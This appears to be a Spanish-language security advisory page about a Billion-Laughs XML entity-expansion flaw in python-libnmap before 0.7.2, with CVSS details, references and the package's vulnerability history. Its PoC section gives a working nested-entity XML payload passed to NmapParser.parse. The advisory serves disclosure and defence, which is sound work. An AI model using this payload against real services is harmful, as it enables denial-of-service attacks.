Alta

XML Injection in python-libnmap

Publicada: 15.07.2019
Actualizado: 11.10.2026 11:20

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

python

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Python (PyPI)	python-libnmap	< 0.7.2	0.7.2

Referencias

Puntuación CVSS 7.5/10

Vector CVSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE): CWE-91
Plataforma: Python (PyPI)
Paquete: python-libnmap
Publicada: 15.07.2019
Actualizado: 11.10.2026 11:20

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2019-218 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9ccv-p7fg-m73x - CC BY 4.0

Historial de vulnerabilidades: python-libnmap

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 2
Primera → última: 07.2019 05.2022
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Crítica 1
Alta 1

Divulgaciones por año

2019: 1
2020: 0
2021: 0
2022: 1
2023: 0
2024: 0
2025: 0
2026: 0

04.05.2022

** DISPUTED ** In the python-libnmap package through 0.7.2 for Python, remote command execution can occur (if used in a client application that does not validate arguments). NOTE: the vendor believes

Crítica · 9.8 CVE-2022-30284 < 0.7.3 0.7.3
15.07.2019

XML Injection in python-libnmap esta entrada

Alta · 7.5 CVE-2019-1010017 < 0.7.2 0.7.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación